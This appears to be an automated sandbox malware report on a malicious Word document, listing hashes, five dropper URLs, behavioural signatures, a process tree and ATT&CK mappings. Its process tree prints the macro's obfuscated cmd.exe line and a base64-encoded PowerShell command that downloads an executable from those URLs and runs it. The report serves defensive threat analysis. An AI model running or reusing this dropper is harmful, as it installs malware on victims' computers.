6d1522b971a391ad16352b8cd205416729b99239fbc9101c43ad9c5b50f876c2

General

Target

c7583c3314352b95a859b1850241ec4c_JaffaCakes118.doc
Size

87KB
MD5

c7583c3314352b95a859b1850241ec4c
SHA1

686021b468397700f6cbba09d7374a4ba4a82afc
SHA256

6d1522b971a391ad16352b8cd205416729b99239fbc9101c43ad9c5b50f876c2
SHA512

f3ccbde93f73ddcd21c53219cd33b1563f051e76485d5bfe3715c46de712f7ac5f34ad17e01b32c485d0e1d1c61651ccb23089e38097fe2a4774a285c6737710
SSDEEP

1536:aptJlmrJpmxlRw99NBj+aIc0IvHsA99l:Gte2dw99f1UA99l

Score

10^/10

discovery

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://lw.mirkre.com/CdKQQ

exe.dropper

http://dent.doctor-korchagina.ru/Dkxxo

exe.dropper

http://ehisblogtutorial.tk/0SIC3

exe.dropper

http://fendy.lightux.com/BriMn5Vx

exe.dropper

http://founderspond.skyries.com/KkfYR

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	2736	2900	cmd.exe	29

Blocklisted process makes network request 4 IoCs

flow	pid	Process
8	2732	powershell.exe
10	2732	powershell.exe
12	2732	powershell.exe
13	2732	powershell.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

pid	Process
2736	cmd.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2900	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2732	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2900	WINWORD.EXE
2900	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2900 wrote to memory of 2120	2900	WINWORD.EXE	30
PID 2900 wrote to memory of 2120	2900	WINWORD.EXE	30
PID 2900 wrote to memory of 2120	2900	WINWORD.EXE	30
PID 2900 wrote to memory of 2120	2900	WINWORD.EXE	30
PID 2900 wrote to memory of 2736	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2736	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2736	2900	WINWORD.EXE	31
PID 2900 wrote to memory of 2736	2900	WINWORD.EXE	31
PID 2736 wrote to memory of 2732	2736	cmd.exe	35
PID 2736 wrote to memory of 2732	2736	cmd.exe	35
PID 2736 wrote to memory of 2732	2736	cmd.exe	35
PID 2736 wrote to memory of 2732	2736	cmd.exe	35

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c7583c3314352b95a859b1850241ec4c_JaffaCakes118.doc"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2900
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2120
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /V^ ^ ^ /c " ^S^E^t ^KM^9^P==AA^IAACAgAAI^A^AC^AgA^AIAAC^A^g^AAI^AACA^g^A^AIA^AC^A^gA^A^I^AACA^9^BQf^As^H^AoB^wY^AQHA^hB^w^YA^0H^A^7^Aw^aA^EG^AlBgc^AI^G^A7^Aw^d^A^8^EAV^B^AJ^A^AC^AtBQ^ZAQHAJ^B^QL^AU^G^Ar^B^w^b^AY^HAuBQSAsD^A^p^A^wd^A^8^E^AV^BA^J^AAC^A^sAg^U^A^UE^A^1B^A^J^A^gCAl^B^AbA^kGA^G^BA^ZA^E^G^Av^B^A^bA4^G^A3^B^w^b^AQ^E^Au^AgaAcFAWB^AJ^A^s^HA^5^B^gc^A^QHA7^B^QKA^Y^FA^wBQcA^QCAg^Ag^bAkG^AgAg^U^AUEA1^B^A^J^AgC^Ao^BwY^AEGAlB^gcA8^G^A^m^Bw^OAcC^A^l^B^A^e^AUGAuA^w^JAsC^A^T^B^g^e^Ao^F^Ak^A^wKAcCAc^B^wJ^AsCAjB^Q^a^A^wG^AiBQd^A^AHA^6^A^gd^A^4^G^AlB^A^J^A0^D^A^3^B^w^TA^UFA^k^A^wO^AcCA^y^AwNAEDAnAA^IA0DA^gA^wUA^o^H^AaB^AJA^s^D^Ap^Aw^JA^A^EAnAAKA^QHAp^B^AbA^A^HA^TBg^L^AcCASB^QW^AY^GArBwS^A^8C^AtB^w^bA^M^GAu^A^wcA^U^GA^p^B^gcA^kH^Ar^Bwc^A^4CA^kBgb^A8^GA^wB^wcAI^H^Al^B^A^Z^A4^GA1^B^wb^A^Y^GAv^A^wL^A^oD^A^w^BA^dAQ^H^A^o^BAQ^AgHAW^BQN^A^4^G^ANBQaAI^HACB^wL^A0GAv^BwY^A4CA^4^B^QdA^QH^A^o^Bw^ZA^kGA^s^BgL^A^kH^A^kBg^b^AUG^AmBwLA8CA6^A^Ac^A^QH^A0^BAa^AAE^AzA^w^QA^kE^ATBAM^A8CAr^BA^d^A^4C^AsB^QY^A^kGA^y^B^wbAQHA1BAd^Ac^G^Av^B^A^b^A^IGA^zB^Q^aA^gGAl^B^w^L^A8CA6^AAcA^QH^A^0BA^a^A^AE^Av^BA^e^A^g^H^Ar^BAR^A8CA1^B^gc^A^4CAh^Bgb^Ak^GAnBQYA^g^GAj^B^gc^A8^GAr^BQLAIHAv^BA^dAM^G^Av^BA^ZA^4CA0^B^gbAU^G^Ak^B^w^LA^8CA6AAc^A^QHA^0B^A^aAA^EARBQ^U^A^s^EAkB^wQA^8CA^t^BwbA^MGAuA^Q^Z^AIHArB^gcA^kGAtB^g^L^Ac^H^A^sB^wL^A^8C^A^6A^AcAQHA^0B^A^a^AcCA9A^gV^A^A^HAxBA^JAsD^A0^Bgb^AU^G^A^pBA^bAME^AiBQZ^AcFA^u^AA^d^A^UGAOBA^I^A^QHA^jBQ^ZAoG^Ai^B^w^b^A^0C^A3^B^QZA4^G^A^9AgaAcFA^WBAJ^ e^-^ ^ll^ehsr^e^w^o^p& ^F^OR /^L %^M ^IN ( ^ 1^0^0^1^ ^ ^, -1^ ,^ ^ 0 )D^o Se^T xF=!xF!!^KM^9^P:~%^M, 1!&& i^F %^M ^Ls^S ^1 Ca^l^l %xF:^*^x^F^!^=% "
  2⤵
  - Process spawned unexpected child process
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABWAFcAagA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABxAHAAVgA9ACcAaAB0AHQAcAA6AC8ALwBsAHcALgBtAGkAcgBrAHIAZQAuAGMAbwBtAC8AQwBkAEsAUQBRAEAAaAB0AHQAcAA6AC8ALwBkAGUAbgB0AC4AZABvAGMAdABvAHIALQBrAG8AcgBjAGgAYQBnAGkAbgBhAC4AcgB1AC8ARABrAHgAeABvAEAAaAB0AHQAcAA6AC8ALwBlAGgAaQBzAGIAbABvAGcAdAB1AHQAbwByAGkAYQBsAC4AdABrAC8AMABTAEkAQwAzAEAAaAB0AHQAcAA6AC8ALwBmAGUAbgBkAHkALgBsAGkAZwBoAHQAdQB4AC4AYwBvAG0ALwBCAHIAaQBNAG4ANQBWAHgAQABoAHQAdABwADoALwAvAGYAbwB1AG4AZABlAHIAcwBwAG8AbgBkAC4AcwBrAHkAcgBpAGUAcwAuAGMAbwBtAC8ASwBrAGYAWQBSACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABaAHoAUwAgAD0AIAAnADEANwAyACcAOwAkAFUATwB3AD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAFoAegBTACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJAB1AEUAUgAgAGkAbgAgACQAcQBwAFYAKQB7AHQAcgB5AHsAJABWAFcAagAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AEUAUgAsACAAJABVAE8AdwApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABVAE8AdwA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

Filesize
19KB

MD5
4f5f723dbe08964251952287817aa384

SHA1
6f65899abb4569a7f53711ca1483b3dfdda87388

SHA256
fff0b7f2cb6fb61a7315c50bc102ff962756a7fe488a3220c8c2fc6e06a820b2

SHA512
4a28e313c1cce611af4b6de2c17e4e8aebb2ec6c8bbb246802312b68572b631614ae08a6c0d4ce429454f742a12adfdb566b766f40d7f72d1a406b75bbc786b0

Download Submit
memory/2732-49-0x0000000002C80000-0x0000000002CBC000-memory.dmp

Filesize
240KB

Download
memory/2732-51-0x0000000005700000-0x0000000005758000-memory.dmp

Filesize
352KB

Download
memory/2900-42-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-2-0x000000007191D000-0x0000000071928000-memory.dmp

Filesize
44KB

Download
memory/2900-11-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-39-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-40-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-0-0x000000002F081000-0x000000002F082000-memory.dmp

Filesize
4KB

Download
memory/2900-25-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-38-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-52-0x000000007191D000-0x0000000071928000-memory.dmp

Filesize
44KB

Download
memory/2900-53-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-54-0x00000000069B0000-0x0000000006AB0000-memory.dmp

Filesize
1024KB

Download
memory/2900-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2900-69-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2900-70-0x000000007191D000-0x0000000071928000-memory.dmp

Filesize
44KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads